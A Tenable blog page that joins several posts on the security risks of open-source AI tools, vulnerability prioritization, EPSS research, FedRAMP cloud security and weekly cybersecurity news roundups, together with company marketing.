Tenable Blog

As AI transforms industries, security remains critical. Discover the importance of a security-first approach in AI development, the risks of open-source tools, and how Tenable's solutions can help protect your systems.

Artificial Intelligence (AI) is transforming industries and starting to be massively adopted by software developers to build core business applications. However, as organizations embrace these advancements, it remains critical to ensure that the security of their users, their data or their underlying infrastructures are not compromised. According to a recent survey conducted by BairesDev, nearly 72% of the software engineers interviewed are leveraging generative artificial intelligence during their development work.

In the world of cybersecurity, one critical rule is “Never trust user inputs." This rule should be in the mind of every developer and should also be extended to AI technologies. AI systems, such as chatbots, act as intermediaries and process and generate outputs based on user inputs. These AI technologies, as an example, should also be treated as a new form of input and subject to the same level of scrutiny and security measures.

This blog post delves into key security concerns, emphasizing the need for a security-first approach.

AI tools are, most of the time, open-source and ready-to-use software designed to be used locally on the developer’s machine. Many of these tools do not adhere to robust security practices by default, making them susceptible to exploitation. While analyzing some of the most common projects available on GitHub, we discovered that, for example, most of them do not offer any authentication by default, leaving it open to any user accessing it through the network through their embedded dashboards or the APIs provided. The presence of a web interface, API, and the ability to use them with the CLI increases their attack surface. 

The exponential market interest in AI-related tools and applications has probably had a negative influence on their development, favoring the emergence of Proof-Of-Concept (POC) software, which is becoming very popular, rather than building battle-tested software.

In this era of cloud infrastructures and the ability to quickly build new services or rely on pre-existing Docker images and expose them on the Internet, it can be highly risky for an organization to let this door open. In such situations, deploying, for example, an internal AI model on a tool lacking proper authentication could have dramatic outcomes. A recent example is when the Ollama tool allowed remote code execution (RCE) without any specific configuration other than having its API exposed.

During our research, we discovered several zero-day vulnerabilities in projects that are very popular in GitHub, such as their stars and forks counters. However, despite many coordinated disclosure attempts, the project's maintainers have not responded in a reasonable amount of time (and sometimes not at all). We think this is evidence of the lack of security maturity in this ecosystem, which seems to advocate for speed of delivery to the detriment of security concerns.

While conducting our research, we found that previous vulnerabilities patches could be bypassed like this NextChat Server-Side Request Forgery (SSRF) vulnerability. Our analysis of a well-known software named Langflow also highlighted a vulnerability in the permission model implementation, allowing a low-privileged user to gain super admin privileges without any interaction.

Large language models (LLMs) require substantial compute and storage resources, making it challenging for many organizations to deploy and maintain them on-premises. Consequently, it is often easier to rely on third-party providers to manage these resource-intensive models to avoid the hassle of managing the underlying infrastructure and focus on the business aspects. However, relying on such third-party services makes trusting these providers with potential critical business data difficult.

The critical risks related to such usage are real and should be handled on different levels : 

• Data breach on the provider side: As with any other service, all processed data could be compromised if the provider suffers a data breach. It is crucial to vet third-party providers and ensure they adhere to privacy and data protection policies.
• Credential leakage: Accessing third-party services requires handling credentials and authentication data. As for any secret data, these credentials can be inadvertently leaked in different places such as public Source Code Management (SCM) software or web applications front end. 
• Model trustworthiness: Third-party services can provide numerous models to their customers, and it is critical to assess their reliability, safety, and adherence to ethical guidelines, as there is no actual guarantee that they are safe to use.

As organizations embrace these new technologies to enhance their business, they should ensure that their AI governance rules cover these risks.

More than other technology, AI is built to fully leverage the data that it consumes. One of its goals is to ensure that organizations take full advantage of the data and knowledge gained over the years to help them move quickly in their operating field, take appropriate actions and make decisions in a shorter period of time, with a high level of confidence and accuracy.

The dataset used to train the model should be seen as an input and should be carefully analyzed. Using confidential business information might inadvertently lead to a leak through model outputs, which can cause a significant security breach. Biased data can also result in AI software making unfair or harmful decisions.

A good approach to handle model security is to focus on security considerations based on confidentiality, integrity and availability. Some examples include:

• Datasets should only include data that is safe for exposure to intended users. When possible, using data anonymization techniques can help safeguard sensitive information such as Personal Identifiable Information (PII) and decrease risks of failing to comply with laws and regulations.
• Data collection processes should be properly implemented and monitored to ensure that data comes only from trusted sources, is accessible only to authorized users, and that the model uses the data and operates according to expectations over time.
• Data availability is crucial for the model to be trained on a complete dataset that matches business requirements. Model availability is also a concern for applications that require usage in a synchronous way. The application fallback behavior should be carefully reviewed and tested like any other failure in classic developments.

LLMs introduce new classes of vulnerabilities that traditional security measures may not address properly. The most prevalent AI-related vulnerabilities are prompt injection attacks, model theft and training data poisoning.

Prompt injection attacks involve malicious users crafting inputs to manipulate LLMs into generating harmful or unauthorized outputs. Remember the “Never trust user inputs” cardinal rule? In this case, the LLM will act as a kind of intermediate between the user inputs and the system. This could result in the system producing sensitive information, executing malicious commands, or being an attack vector for other common vulnerabilities like Stored Cross-Site Scripting. As an example, Vanna.AI, a Python-based library designed to simplify SQL queries from natural language inputs, was recently identified as vulnerable to prompt injection attacks and leading to remote code execution on vulnerable systems. 

Models should be protected in the same way we protect confidential and business critical data. The first part of this blog post described how easily some AI tools can expose data to unauthorized actors. Applying defense in-depth principles will help minimize intellectual property leakage if model theft occurs. Hardening model security with techniques such as encryption and obfuscation and having proper monitoring in place is crucial.

Finally, AI training data poisoning is a modern supply-chain attack. By altering the data used by the model, attackers can corrupt its behavior and elicit biased or harmful output, leading to direct impacts on the applications using it to achieve business goals.

As for other traditional fields, developers should always stay updated with the latest security guidelines and incorporate strategies from the OWASP Top 10 for LLMs. Techniques such as input validation, anomaly detection, and robust monitoring of the AI ecosystem's behavior can help detect and mitigate potential threats.

AI technologies are promising and can transform many industries and businesses, offering innovation and efficiency opportunities. However, they represent a huge security challenge at many levels in organizations and this should not be overlooked. 

By adopting a security-first approach, following best practices and having robust governance, organizations can harness the power of AI and mitigate the emerging threats related to its adoption.

Read more about how we help secure these tools:

• Tenable Web App Scanning provides plugins to detect popular AI and LLM tools' web interfaces and vulnerabilities. 
• Tenable Vulnerability Management, Tenable Security Center, Tenable Nessus plugins detect popular AI and LLM tools.
• Tenable Nessus Network Monitor plugins detect popular tools.
• Tenable's researchers help elevate the ecosystem by identifying exposures in third-party AI software and disclose responsibly to the vendors. Among those that have been published are NextChat Server-Side Request Forgery / Cross-Site Scripting and SSRF Security Feature Bypass in Azure AI and ML Studios.

At Tenable, our mission is to manage and reduce cyber risk, because cyber risk is business risk. Feedback from dozens of top CISOs is reflected in our latest brand evolution. Tenable is the exposure management company that helps customers know where their weaknesses lie, expose their risk and close the gaps. Welcome to Tenable. Your exposure ends here.

Today marks the beginning of the next era for the Tenable brand.

Ten months ago, I joined Tenable feeling incredibly energized by the opportunity ahead. We had an expanding portfolio of world-class exposure management solutions and a worldwide reputation for excellence, integrity and trust.

And when I began meeting with customers, I discovered an asset I did not fully anticipate – extreme brand relevance.

While Tenable has been around for more than two decades, it became clear that everything Tenable has done since its start has been leading up to this market moment.

Sit down with any CISO, and you’ll quickly understand how tough their job is right now.

They’re on the hook to securely adopt new technologies to accelerate transformation while doing more with less. Above all, they are under intense pressure to reduce business risk. And if they fail it’s not just a career setback, it could mean jail time.

This would be a massive challenge under any conditions, but it comes at a time when the modern attack surface is exploding in size and complexity. Most security teams manage multiple clouds and identities across a converged IoT, OT and IT landscape. And each technology brings its own security tools. The result is a deeply divided approach to seeing and doing battle against cyber risk.

Amidst all that complexity, security leaders are looking to answer one simple question: are we exposed and are we at risk?

As the pioneers of both the vulnerability management and exposure management movements, there’s no company better positioned to help them answer this question than Tenable.

Today, we’re launching a refreshed brand and website to tell the world how we’re doing it.

At the heart of our new brand lies the differentiated value we bring our customers. We give enterprises the unmatched ability to:

• KNOW their weaknesses: Gaining an all-inclusive view of cyber risk that uncovers the truth about deadly gaps across all assets and attack pathways.
• EXPOSE their risk: Identifying, understanding and quantifying the cyber weaknesses with the greatest potential to erode their enterprise’s value, reputation and trust.
• CLOSE their gaps: Taking swift action to eradicate priority cyber exposures anywhere to reduce business risk everywhere.

By radically unifying security visibility, insight and action across the attack surface, we’re equipping modern organizations to protect against attacks from IT infrastructure to cloud environments to critical infrastructure and everywhere in between.

To learn more about what we’re doing to isolate and eradicate the cyber exposures that hold organizations back, have a look around our website and our Black Hat presence in Las Vegas this week. We’ll look and sound a little different as we reflect our expanded portfolio and impact.

You’ll have a chance to experience the new ways we’re uncovering where exposures live – in the cloud, in OT/IoT environments, and even in the identities of the devices and personnel on organizational systems. And find out how our newly introduced Vulnerability Intelligence and Exposure Remediation features once again take vulnerability management to the next level.

We hope to see you on the floor at Mandalay Bay (we’re in booth #1932). Also, catch our speaking slots on Wednesday, August 7. 

For today’s security teams, the rise of cyber threats can feel unstoppable. At Tenable, we believe every enterprise has the right to be free of cyber exposure and worry.

Today is a very special day as we introduce the world to our new brand and the singular promise it makes to our customers: Your Exposure Ends Here.

Prioritizing vulnerabilities with context has always been a challenge for vulnerability management teams – and this task isn’t getting easier as published CVEs continue to grow. To remedy this, many enterprises are forced to invest in products and services to protect their environments with various intelligence data and tools. In this blog, we explain how Tenable Vulnerability Intelligence and Exposure Response help organizations to make data-driven decisions to better prioritize and operationalize their programs.

Vulnerability management presents a seemingly insurmountable obstacle for organizations: How to deal with a massive and rapidly growing number of published Common Vulnerabilities and Exposures (CVEs). As an organization that has been focused on vulnerability management from the beginning, Tenable also grapples with this issue but with an added complication: because of our broad customer base, we need to cover as many CVEs in as many products as possible while maintaining risk context, accuracy and reliability.

The solution isn’t to try to check for every possible combination of CVEs and affected products. We have to prioritize the most critical vulnerabilities with accurate and targeted context. To make these decisions quickly and precisely, Tenable leverages a vast, searchable database of vulnerability information from both external sources and from Tenable Research. This is the same data source that drives a new capability in the Tenable Vulnerability Management product called Vulnerability Intelligence, which is aimed at helping customers better operationalize their vulnerability management programs and make quick data-driven prioritization decisions.

We’re only halfway through 2024, and we’re well on pace to exceed 30,000 published CVEs this year. Further complicating matters, we’re seeing more and more CVEs in underlying components, frameworks, and language libraries. This means organizations aren’t fixing a single application but rather tracking down and fixing every application that leverages the impacted vulnerable component.

 At Tenable, beyond our everyday efforts to provide up-to-date vulnerability coverage for releases of major products, we are constantly on the lookout for the next major vulnerability to ensure we can respond as quickly as possible. Leveraging the contextual data from Vulnerability Intelligence is critical to ensuring we can make informed decisions quickly. Additionally, with the significant backlog that the National Vulnerability Database (NVD) is facing, our Vulnerability Intelligence dataset has allowed us to keep up to date with the latest vulnerabilities and risks as we are not tied to a single data source.

Opening up Vulnerability Intelligence brings you to a set of hexagons that represent risk categories of vulnerabilities that we want to highlight as having the highest level of threats. While not exclusively the decision criteria used, the categories in Vulnerability Intelligence are based on data points that feed into the Tenable Vulnerability Database which drives our risk rating decisions. 

Categories include: 

• Emerging Threats is a set of vulnerabilities that are being actively monitored by our Security Response team and often have a direct path from that team to the development of plugins to cover those vulnerabilities, particularly those in the Vulnerabilities of Interest and Vulnerabilities of Concern category.
• VPR gives our teams a numerical score to quickly input and sort on, though as with any score, understanding the context behind it is critical.
• Ransomware highlights vulnerabilities associated with this type of attack, particularly in major enterprise applications as those can lead to attacks that are particularly dangerous for any organizations.

As can be seen in the screenshot above, focusing on any of these target categories can significantly reduce the numbers of CVEs to focus on. Contrasted against the about 250,000 CVEs that have been published, the numbers above become far more manageable and speak to real risk, as opposed to the severity scores that come from leveraging CVSS metrics.

Many organizations are still building operations around basic prioritization metrics - whether it’s targeting specific products, CVSS scores or proprietary mandates. Often this is because of a need to adhere to a specific compliance standard, or simply because of a need to have something that can be measured. While tracking and measuring against a simple CVSS score or severity can be straightforward, it does not provide a lot of context and it is not a strategy that has a demonstrable impact on risk.

That’s where the new Exposure Response capability in Tenable Vulnerability Management also helps us. Exposure Response enables teams to develop vulnerability management strategies that are measurable and reflect real world risk. One of the most important tools in any VM program is the ability to track performance. Unfortunately, most graphs end up looking like a flatline because the number of new vulnerabilities coming in ends up canceling out the number of vulnerabilities that get remediated on an ongoing basis. By having more focused targets, it is possible to truly measure performance over time and set achievable SLA targets.

The U.S. Cybersecurity and Infrastructure Security Agency’s Known Exploited Vulnerabilities (KEV) catalog (KEV) has become a valuable and popular resource that brings focus to a particular set of vulnerabilities which have evidence of exploitation in the wild. While the KEV is not comprehensive, the risk associated with these particular CVEs, and the attention many organizations pay to the KEV, has made it one of several benchmarks our Tenable Research teams use for tracking vulnerability coverage. Using Exposure Response, vulnerability management teams can similarly create a trackable CISA KEV-based initiative to benchmark their remediation efforts against. As mentioned previously, SLAs and benchmarks are critical for any remediation strategy. We strive to have coverage for KEV vulnerabilities as quickly as possible, ideally before they hit the KEV but, if not, often within hours of publication to the KEV.

Exposure Response provides the exact tools needed to put these sorts of measurements into place. Given the visibility and risk associated with the KEV, it may make sense to set an SLA of just a few days and aim for maintaining a benchmark of >90% of findings remediated. The key is ensuring that the strategies that are put in place are measurable and achievable.

Unlike the 250,000 CVEs that have been published, to date there are only 1,134 CVEs in the CISA KEV catalog. With only a handful of CVEs added to the KEV each month, this is an impactful set of CVEs that teams can actually measure performance against.

Prioritization and operationalization of vulnerabilities has long been a major challenge for vulnerability management teams. The sheer number of vulnerabilities published year after year means that teams simply can’t keep up and the lack of easy-to-access context means that prioritization is often either a guessing game, a massive amount of work, or a limited effort that falls short, such as focusing only on CVSS severities. Tenable Vulnerability Management introduced Vulnerability Intelligence with all the context needed in one place and Exposure Response to operationalize the targeted and measurable vulnerability management workflow.

• Attend our webinar, From Frustration to Efficiency: Optimize Your Vuln Management Workflows and Security with Tenable
• Read the press release
• Get more information about Vulnerability Intelligence and Exposure Response
• View the Tenable Vulnerability Management product page

IBM’s latest “Cost of a Data Breach Report” finds these data-theft incidents getting more expensive. Plus, the IT-ISAC says that ransomware attacks fell in Q2 due to law-enforcement disruptions of ransomware groups. Meanwhile, check out a Carnegie Mellon comp sci professor’s take on AI system security. And Tenable’s headed to Black Hat – visit our booth! And much more!

Dive into six things that are top of mind for the week ending August 2.

A data breach now costs organizations an average of $4.88 million, a jump of 10% from last year that was driven by the cost of lost business and by incident response expenses, according to IBM’s “Cost of a Data Breach Report 2024,” which was published this week.

And breaches created substantial turmoil: For 70% of the organizations surveyed, data breaches caused either a “significant” or “very significant” disruption to their business. “Business runs on data. When data is breached, business is disrupted,” the report reads.

(Source: IBM’s “Cost of a Data Breach Report 2024,” July 2024)

Meanwhile, AI has become both a blessing and a curse, helping security teams and data thieves alike.

Security teams that use AI and automation extensively for prevention experience an average of $2.2 million less in breach costs than security teams that don’t use AI at all. Two-thirds of organizations surveyed are using AI and automation for cybersecurity.

“AI and automation solutions are reducing the lifespan needed to identify and contain a breach and its resulting damage,” reads the report, which is based on an analysis of data breaches experienced by 604 organizations globally.

On the other hand, as organizations adopt generative AI aggressively, they’re expanding their attack surface, creating “unprecedented risks” and increasing the pressure on security teams. 

Here are other key findings from the report, whose research was conducted by Ponemon Institute and sponsored and analyzed by IBM:

• More than half of the surveyed organizations face “high levels” of security understaffing, a 26.2% percent increase from last year. These organizations experienced an average of $1.7 million more in breach costs than organizations that are either fully staffed or that have a low understaffing level.
• 35% of breaches involved “shadow data,” which the report describes as data that’s stored in unmanaged data sources and is thus harder to track and protect.
• Organizations that tapped law enforcement after suffering a ransomware attack lowered the average cost of a data breach by $1 million, excluding ransom costs.
• Attacks involving stolen credentials took the longest to identify and contain – 292 days.
• The factor that has the greatest impact on reducing data breach costs is employee training. Meanwhile, the factor that most increases data-breach costs is security system complexity.

To get more details:

• Read the report’s announcement “IBM Report: Escalating Data Breach Disruption Pushes Costs to New Highs”
• Download the “Cost of a Data Breach Report 2024.”

 For more information about preventing data breaches:

• “Why data breaches have become ‘normalized’ and 6 things CISOs can do to prevent them” (VentureBeat)
• “How to prevent a data breach: 10 best practices and tactics” (TechTarget)
• “Data breaches are increasing at a rapid speed. Here’s what can be done” (World Economic Forum)
• “8 data protection challenges and how to prevent them” (TechTarget)

Ransomware attacks observed by the Information Technology-Information Sharing and Analysis Center (IT-ISAC) dropped 21% during the second quarter, compared with the first quarter, a decrease driven by recent law-enforcement disruptions of ransomware groups.

And in yet another reminder to keep software patched and updated, the exploitation of known vulnerabilities ranked as the top initial-access vector for ransomware attacks in the second quarter.

(Source: IT-ISAC’s “Exploring the Depths: An Analysis of the 2023 Ransomware Landscape and Insights for 2024” report, updated in July 2024)

Some of the vulnerabilities exploited by ransomware attackers in the second quarter included CVE-2020-1472, CVE-2023-22518, CVE-2024-26169 and CVE-2024-4577, IT-ISAC said in its report “Exploring the Depths: An Analysis of the 2023 Ransomware Landscape and Insights for 2024,” which was updated in July 2024.

Meanwhile, critical manufacturing, commercial facilities and healthcare were the three sectors that suffered the most attacks, collectively accounting for 47.6% of attacks, while the IT sector was hit by almost 7%.

To get more details, read the full report “Exploring the Depths: An Analysis of the 2023 Ransomware Landscape and Insights for 2024.”

For more information about ransomware prevention:

• “Steps to Help Prevent & Limit the Impact of Ransomware” (Center for Internet Security)
• “How Can I Protect Against Ransomware?” (CISA)
• “Mitigating malware and ransomware attacks” (U.K. National Cyber Security Centre)
• “Ransomware: How to prevent and recover” (Canadian Centre for Cyber Security)

Are you attending Black Hat USA 2024 in Las Vegas next week? As usual, Tenable will be participating and we’d love to see you at our booth (#1932) where we’ll have exciting product demos, lightning talks, cool swag and much more. 

You can also find us at the Tenable Research Lounge (Breakers K, Level 2) on August 7 and 8. 

And don’t miss these presentations from Tenable experts:

• “Context Matters: Advancing Towards a Threat-Centric Program”

Speaker: Sean Jennings, Principal Enterprise Security Engineer
Wednesday, August 7 at 11:25 am
Location: Business Hall Theater C

• “The GCP Jenga Tower: Hacking Millions of Google's Servers With a Single Package”

Speaker: Liv Matan, Senior Research Engineer
Wednesday, August 7 at 1:30 pm
Location: South Pacific F, Level 0

If you want to learn more about securing AI systems, you might be interested in reading a new blog from a Carnegie Mellon University professor titled “Weaknesses and Vulnerabilities in Modern AI: Why Security and Safety Are so Challenging.”

In the blog, author Bill Scherlis, a CMU computer science professor and former director of DARPA’s Information Innovation Office, explains that modern AI-based systems have their own set of weaknesses and vulnerabilities that create risks that are particular to them. As such, these risks must be taken into account when designing and evaluating AI-based systems.

“In the excitement to create systems that build on modern AI, including neural-network-based machine learning (ML) and generative AI models, it is easy to overlook the weaknesses and vulnerabilities that make these models susceptible to misdirection, confidentiality breaches, and other kinds of failures,” Scherlis wrote.

In his blog, the first of a four-part series, Scherlis aims to identify the following:

• The appropriate concepts of security and safety for modern neural-network-based AI, including ML and generative AI, such as LLMs
• The AI-specific challenges involved in developing safe and secure systems
• Modern AI’s trustworthiness limits, and why these limits are fundamental

For more information about securing AI systems:

• “OWASP AI Security and Privacy Guide” (OWASP)
• “Deploying AI Systems Securely” (Australian Cyber Security Centre)
• “Guidelines for secure AI system development” (U.K. National Cyber Security Centre)
• “How to secure AI system development” (VentureBeat)

During our recent webinar “Tenable Cloud Security Outlook 2024,” we polled attendees about their cloud security practices. Check out what they said about production cloud workloads and about cloud remediation.

(53 webinar attendees polled by Tenable, July 2024)

(74 webinar attendees polled by Tenable, July 2024)

If you missed it, you can watch this webinar on-demand and get the details from our global “2024 Cloud Security Outlook” study, learn about data-breach prevention strategies and more.

And in a clear sign of the times, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has selected its first ever head of AI.

This week, CISA announced that Lisa Einstein has been appointed as its Chief Artificial Intelligence Officer, after leading the agency’s AI efforts since 2023 as Senior Advisor for AI.

“This selection reflects CISA’s commitment to responsibly use AI to advance its cyber defense mission and to support critical infrastructure owners and operators across the United States in the safe and secure development and adoption of AI,” reads a CISA statement.

As federal agencies adopt a cloud-first policy, they face unique challenges in securing cloud infrastructure. Learn how Tenable Cloud Security, which is now FedRAMP  "In Process," can help.

As part of the federal government's cloud-first policy, agencies are increasingly adopting cloud computing to modernize their infrastructure and more effectively perform their missions. One key aspect of this modernization for agencies is working with cloud providers that have achieved the Federal Risk and Authorization Management Program (FedRAMP) authorization. Achieving this status is a significant milestone, underscoring a provider’s commitment to securing government data and infrastructure. 

As more agencies shift to the cloud, bad actors recognize the opportunity and frequently target vulnerabilities across hybrid and multi-cloud environments. In fact, according to IBM’s most recent Cost of a Breach report, 82% of breaches involved data stored in the cloud—public, private, or multiple environments. These findings reinforce the need for robust cloud security measures and strategies to fortify operations in the cloud and protect critical data. There are several critical challenges agencies face when securing their cloud environment.

This includes the complexity of applications and workloads, as well as new cloud architectures and approaches. This complexity presents a new attack surface vs on-premise environments.

Traditional tools that were originally designed for on-premise setups are no longer effective and do not meet the unique security requirements of cloud environments. New cloud technologies such as PaaS, IaC, Kubernetes and cloud identities present new risks that on-premise security tools cannot protect against. Complicating the matter even further is the dynamic nature of cloud environments. Applications and workloads frequency scale up and down, some for just a few hours at a time. 

The entire cloud stack – including infrastructure, workloads, identities and data – needs to be protected. Without visibility into the entire stack, agencies are left with gaps in visibility and are unable to proactively identify weak points and exposures throughout their environment.  Continuous delivery, cloud sprawl, excess permissions and complex cloud native architectures all play a part and impact an agency's ability to manage and visualize cloud inventories. This limited visibility can result in serious consequences, such as blind spots in monitoring and detection, which prevent agencies from assessing and prioritizing risk.

As agencies accelerate Zero Trust initiatives, securing identities is of paramount importance. With the increasing use of multi-cloud environments, agencies face the challenge of managing identities across all of their cloud platforms while ensuring secure, resilient and continuous access to cloud-based resources. At any given time, a cloud environment useshundreds of policies and configurations, coupled with tens of thousands of service identities, and human identities, all with privileges to resources. Just one excessive permission is enough for an attacker to take over the entire environment and move laterally or escalate privileges in an attempt to access sensitive data and other resources. Identity is the perimeter in the cloud and due to its far-reaching impact, identity and entitlement security should be a foundational component for securing federal cloud infrastructure.

The entire cloud stack needs to be protected – this includes hybrid and multi-cloud infrastructures, workloads, identities and data to name a few. Implementing disparate tools to secure each layer becomes overly complex and impractical, but it also increases the cost associated with procuring, deploying and managing disparate solutions. Agencies can pursue consolidation to achieve cost efficiencies through reduction of IT spend and to improve overall cyber security risk posture. 

It is hard to find people who are trained in new cloud technologies, and who understand their weaknesses, and know how to defend against attackers. This challenge is exacerbated by new types of cloud services that are released at a very fast rate. In a recent survey by Tenable, 95% of respondents were affected by a lack of expertise in cloud infrastructure protection. And yet, topping organizations’ security priorities over the next twelve months are the implementation of Zero Trust and detecting and remediating cloud misconfigurations. These findings underscore the need for automation and intuitive tools to bridge the expertise gap and expedite productivity for teams.

So how do federal agencies move past cloud complexity to discover, assess and expose cloud vulnerabilities? Tenable has the answer. Tenable Cloud Security has just received FedRAMP “In Process” status at the moderate impact level on the FedRAMP Marketplace and is eagerly awaiting authorized status for US federal agency use.This is the second step of the three-step process for FedRAMP authorization. We announced in December that we achieved the initial “Ready” designation in the program. This latest phase is a major milestone, delivering on our commitment to strengthen government infrastructures through the use of safe and secure modern cloud technologies. As agencies modernize their platform and advance their cloud-first strategy, they are able to take advantage of our Cloud Native Application Protection Platform (CNAPP) to consolidate and simplify their cloud security. 

With Tenable Cloud Security, federal agencies are able to:

• Get an actionable solution to cloud risk, rapidly exposing and closing priority security gaps caused by cloud misconfigurations, risky entitlements for users and services, vulnerabilities and overly-permissive access to confidential data. 
• Leverage guided remediation workflows to take action on the most critical risks and strengthen Zero Trust initiatives.
• Streamline compliance and audits with 1-click reporting and intuitive dashboards built to share with various stakeholders. 
• Automate threat detection with continuous behavioral analysis and anomaly detection based on built-in and custom policies.

In addition to Tenable Cloud Security, Tenable has achieved FedRAMP authorization at the moderate impact level for Tenable Vulnerability Management and Tenable Web App Scanning. 

For more information:

• Review the Tenable CS FedRAMP Marketplace Listing
• Visit the Tenable Cloud Security webpage

Tenable sponsored research from Cyentia and FIRST, which finds that while vulnerability exploitation is highly variable, EPSS is getting stronger in its ability to predict exploitation.

The number of CVEs published annually keeps growing, which means it is increasingly crucial to predict which ones require the attention of vulnerability management teams. New research from Cyentia Institute and the Forum of Incident Response and Security Teams (FIRST) finds the Exploit Prediction Scoring System (EPSS) scoring system is a useful input to help teams make more informed decisions about vulnerability prioritization.

The extensive research set out to explore the timing, prevalence, and volume of exploitation activity, and also collect and analyze feedback on the performance of EPSS. The result of this effort is the inaugural report, A Visual Exploration of Exploitation in the Wild. The report provides data points and analysis that will benefit the large and growing community of enterprise users and security products that leverage EPSS. In this two-part blog series, we’ll explore some of the key findings and insights from the research. Part one will answer the following questions:

• What proportion of vulnerabilities have been exploited?
• What’s the typical pattern of exploitation activity?
• How widespread is exploitation among organizations?
• How does EPSS perform in its ability to predict exploitations? 

Believe it or not, we’re nearing a quarter million published CVEs. And this number has grown at a rate of 16% over the last seven years. No one has the time or resources to address all of these vulnerabilities, which makes identifying and prioritizing the ones that matter most so important. One critical step in prioritization efforts is to track and predict how many vulnerabilities are exploited. 

In Figure 1, you can see the cumulation of 13,807 CVEs with exploitation activity over time on the left plot, which tells you that the number of known-exploited vulnerabilities is steadily approaching 15,000. On the right plot, you can see the count as a percentage of published CVEs over time, which tells you that about 6% of all published CVEs have been exploited, and that rate is holding steady. 

Figure 1: Vulnerabilities with Exploitation Activity 

Now, let’s take a look at the typical pattern of exploitation activity…turns out, there isn’t one! 

Figure 2 shows the exploitation activity of five different CVEs over 2023. Each of these has a unique exploitation activity:

• The top CVE experienced exploitation that was short-lived and very sparse
• The second CVE experienced fairly regular weekday activity 
• The third CVE experienced daily to weekly exploit attempts, with a spike in mid-December 
• The fourth CVE showed sustained daily exploitation that was particularly high in Q1-Q2 
• And the final CVE experienced an extremely high, consistent rate of exploitation activity 

So, what does this all mean? Well, exploitation comes at different levels of intensity and duration. It would be wise not to treat "exploited" as a binary variable but instead dig deeper into additional variables like intensity and duration for prioritization efforts.

Figure 2: Disparity in Observed Exploitation Activity 

Speaking of not treating "exploited" as a binary variable, let’s look at the prevalence of exploitation observed across a large population of over 100,000 organizations distributed around the world. A surprising observation is that not many organizations see exploit attempts targeting a particular vulnerability. Exploits hitting more than 1 in 10 organizations are rare (it’s less than 5%!). When vulnerabilities are reported as exploited in the wild, they are generally thought of as exploited everywhere. However, this is not the case, and indicates that we should not treat all exploitation reports equally.

Figure 3: The Prevalence of Exploitation Activity 

According to FIRST, EPSS is a “data-driven effort for estimating the likelihood (probability) that a software vulnerability will be exploited in the wild.” EPSS takes a daily estimate over the next 30 days of all known CVEs and provides a probability score ranging from 0 to 1 (or 0 to 100%), indicating the likelihood of exploitation. 

As noted in Figure 4, each version of EPSS has shown stronger performance in its ability to predict exploitation. Three metrics measure performance: 

1. Coverage: Measures the completeness of prioritizing the exploitation activity (% of all known exploited vulnerabilities that were correctly prioritized) 
2. Efficiency: Measures the accuracy of prioritizations (% of vulnerabilities prioritized for remediation that were actually exploited) 
3. Effort: Measures the overall workload created by the prioritization strategy (% of prioritized vulnerabilities out of all vulnerabilities) 

Based on Figure 4, you can see that remediating vulnerabilities with an EPSS score of 0.6+ achieves coverage of ~60% with 80% efficiency, whereas remediating vulnerabilities with an EPSS score of 0.1+ changes to 80% coverage and 50% efficiency. Each organization will vary in its risk tolerance, which impacts prioritization strategies. Understanding coverage, efficiency, and effort metrics can help organizations make more informed decisions on the specific strategies they use for their vulnerability management programs. 

Figure 4: The Performance of the Exploit Prediction Scoring System (EPSS)

For more insights, download the full report. Leverage EPSS Support in Nessus 10.8.0 with a free trial or purchase a license. Stay tuned for part two of this blog series!

Check out a CISA-FBI advisory about North Korean cyber espionage on critical infrastructure orgs. Plus, what Europol found about the use of AI for cybercrime. Meanwhile, the risk concerns that healthcare leaders have about generative AI. And a poll on water plant cybersecurity. And much more!

Dive into six things that are top of mind for the week ending July 26.

North Korea is engaged in a global cyber espionage campaign targeting critical infrastructure organizations, especially those involved with the defense, aerospace and nuclear sectors.

That’s the warning issued this week by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the FBI and law enforcement agencies from the U.S., South Korea and the U.K.

CISA and the FBI recommend that all critical infrastructure organizations review the joint advisory, titled “North Korea Cyber Group Conducts Global Espionage Campaign to Advance Regime’s Military and Nuclear Programs,” and implement its mitigation recommendations.

Via a group called Andariel, North Korea is trying to steal confidential technical information in order to advance the goals of its military and nuclear programs. Andariel is focused on the U.S., South Korea, the U.K., Japan and India, although its cyber espionage scope is global.

The joint advisory details Andariel’s tactics, techniques and procedures, such as exploiting known vulnerabilities in web servers and deploying web shells to access sensitive information and applications.

Recommended mitigation strategies include:

• Patch vulnerabilities on a timely manner
• Protect web servers from web shells
• Monitor endpoints to detect malicious activity
• Boost authentication and remote access security

Andariel, also known as Onyx Sleet, initially carried out destructive attacks against U.S. and South Korean organizations but now focuses on cyber espionage and ransomware operations. It funds its activities via ransomware attacks against U.S. healthcare organizations.

To get more details, check out:

• CISA’s announcement “FBI, CISA, and Partners Release Advisory Highlighting North Korean Cyber Espionage Activity”
• The joint advisory “North Korea Cyber Group Conducts Global Espionage Campaign to Advance Regime’s Military and Nuclear Programs.”

For more information about cyberthreats from North Korea:

• “Exclusive: UN experts investigate 58 cyberattacks worth $3 bln by North Korea” (Reuters)
• “U.S. charges North Korean man with cyberattacks on NASA” (Washington Post)
• “North Korea hacking teams hack South Korea defence contractors” (Reuters)
• “North Korea hacked South Korea chip equipment makers, Seoul says” (BBC)

Cybercrime in the European Union grew steadily last year, helped in part by criminals’ growing use of artificial intelligence (AI), according to Europol’s “Internet Organised Crime Threat Assessment (IOCTA) 2024” report.

“Cybercriminals are keen to leverage AI, which is already becoming a common component in their toolbox and is very likely to see even wider application,” reads the report, which was released this week.

Not only are cybercrooks abusing legitimate large language models (LLMs), but they have access to a growing number of malicious LLMs designed specifically for cybercriminal activities, such as phishing.

“There is increased marketing of AI tools and services on the dark web,” the report reads.

To get more details, read the “Internet Organised Crime Threat Assessment (IOCTA) 2024” report.

For more information about the use of AI for cyberattacks:

• “FBI Warns of Increasing Threat of Cyber Criminals Utilizing Artificial Intelligence” (FBI)
• “Cybercriminals are creating their own AI chatbots to support hacking and scam users” (The Conversation)
• “AI advances risk facilitating cyber crime, top US officials say” (Reuters)
• “Cyber Criminals Are Getting Faster--and Generative AI Could Make Their Work Easier” (Inc)

During our recent webinar “Safeguarding Your Water Utility,” we took the opportunity to poll attendees about their strategies for protecting these critical infrastructure facilities from cyberattacks. Check out what they said about their biggest challenges and concerns.

(24 webinar attendees polled by Tenable, July 2024)

(18 webinar attendees polled by Tenable, July 2024)

(24 webinar attendees polled by Tenable, July 2024)

